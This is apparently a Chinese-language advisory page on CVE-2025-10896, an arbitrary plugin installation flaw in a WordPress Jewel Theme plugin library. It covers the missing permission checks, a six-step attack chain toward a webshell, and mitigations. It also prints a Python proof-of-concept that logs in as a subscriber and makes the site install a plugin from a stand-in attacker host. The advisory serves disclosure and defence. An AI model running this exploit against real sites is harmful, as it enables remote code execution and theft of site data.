IPBUF安全漏洞报告
English
CVE-2025-10896 CVSS 8.8 高危

CVE-2025-10896 WordPress插件库任意插件上传漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-10896
漏洞类型
任意文件上传/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Jewel Theme Recommended Plugins Library (image-hover-effects-elementor-addon, image-comparison-elementor-addon等插件)

相关标签

CVE-2025-10896WordPress任意文件上传远程代码执行插件漏洞Jewel Theme权限绕过高危漏洞Metasploit

漏洞概述

CVE-2025-10896是WordPress平台上一个严重的安全漏洞,存在于Jewel Theme推荐的插件库中。该漏洞允许已认证的攻击者(拥有订阅者级别权限及以上)通过构造恶意的插件URL,在目标WordPress站点上安装任意插件包。由于`*_recommended_upgrade_plugin`函数缺少必要的权限验证和URL校验,攻击者可以绕过安全限制上传包含恶意代码的插件文件。一旦攻击者成功上传插件,即可获得远程代码执行能力,完全控制受影响的网站。漏洞影响使用该插件库的所有WordPress插件,影响版本截止到1.0.2.3。此漏洞由Wordfence安全团队发现并报告,CVSS评分高达8.8,属于高危漏洞。

技术细节

漏洞根源在于Recommended.php文件中的`*_recommended_upgrade_plugin`函数(第334行)和相关函数(第43行)缺少 capability checks(权限检查)。该函数允许通过URL参数指定要安装的插件地址,攻击者只需提供一个指向恶意插件包的URL,函数便会自动下载并安装该插件。具体来说:1) 函数直接使用传入的URL参数而未验证其来源和合法性;2) 缺少`current_user_can()`等权限验证,导致低权限用户也可调用;3) 未验证插件包的签名或来源可信度。攻击者可以构造形如`?plugin_url=http://attacker.com/malicious.zip`的请求,服务器会自动下载并激活该插件。Assets.php(第70行)相关代码可能也存在类似问题。攻击成功后,恶意插件获得完全执行权限,可执行任意PHP代码、访问数据库、窃取敏感信息等。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress站点的订阅者级别账户或通过其他方式获取有效会话cookie
STEP 2
步骤2
攻击者准备恶意插件包(如webshell或后门程序),托管在自己的服务器上
STEP 3
步骤3
攻击者构造恶意请求,向目标的`*_recommended_upgrade_plugin`函数发送包含恶意插件URL的参数
STEP 4
步骤4
目标服务器验证权限通过(缺少capability checks),下载并安装攻击者指定的恶意插件
STEP 5
步骤5
恶意插件被激活,攻击者获得远程代码执行能力,可完全控制网站服务器
STEP 6
步骤6
攻击者可进一步横向移动,访问数据库、窃取用户数据、安装持久化后门等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-10896 PoC - WordPress Plugin Library Arbitrary Plugin Installation # Target: WordPress sites with vulnerable Jewel Theme Recommended Plugins Library target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" # Malicious plugin URL (attacker-controlled) malicious_plugin_url = "http://attacker-server.com/malicious-plugin.zip" # Authentication with subscriber-level account session = requests.Session() login_data = { "log": "subscriber_user", "pwd": "subscriber_password", "wp-submit": "Log In" } # Step 1: Authenticate as subscriber login_response = session.post(f"{target_url}/wp-login.php", data=login_data) if "wordpress_logged_in" not in str(session.cookies): print("[-] Authentication failed") exit(1) print("[+] Authenticated as subscriber") # Step 2: Exploit the arbitrary plugin installation vulnerability # The vulnerable endpoint varies by plugin, commonly: exploit_endpoints = [ "/wp-admin/admin-ajax.php", "/wp-admin/admin.php?page=recommended", ] for endpoint in exploit_endpoints: exploit_data = { "action": "image_hover_recommended_upgrade_plugin", # or similar action "plugin_url": malicious_plugin_url, "plugin_slug": "malicious-plugin" } response = session.post(f"{target_url}{endpoint}", data=exploit_data) if response.status_code == 200: print(f"[+] Exploit sent via {endpoint}") print(f"[+] Response: {response.text[:200]}") break print("\n[!] If successful, the malicious plugin is now installed and active") print("[!] Attacker can now execute arbitrary code via the malicious plugin")

影响范围

Jewel Theme Recommended Plugins Library <= 1.0.2.3
image-hover-effects-elementor-addon <= 1.0.2.3
image-comparison-elementor-addon <= 1.0.2.3
其他使用该插件库的所有WordPress插件 <= 1.0.2.3

防御指南

临时缓解措施
立即限制订阅者等低权限用户的插件管理权限,直到所有受影响的插件升级到安全版本。可临时禁用`recommended_upgrade_plugin`相关功能,或通过.htaccess规则限制相关AJAX端点的访问。建议使用Web应用防火墙(WAF)规则阻止可疑的插件安装请求,并密切监控服务器文件系统变化。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表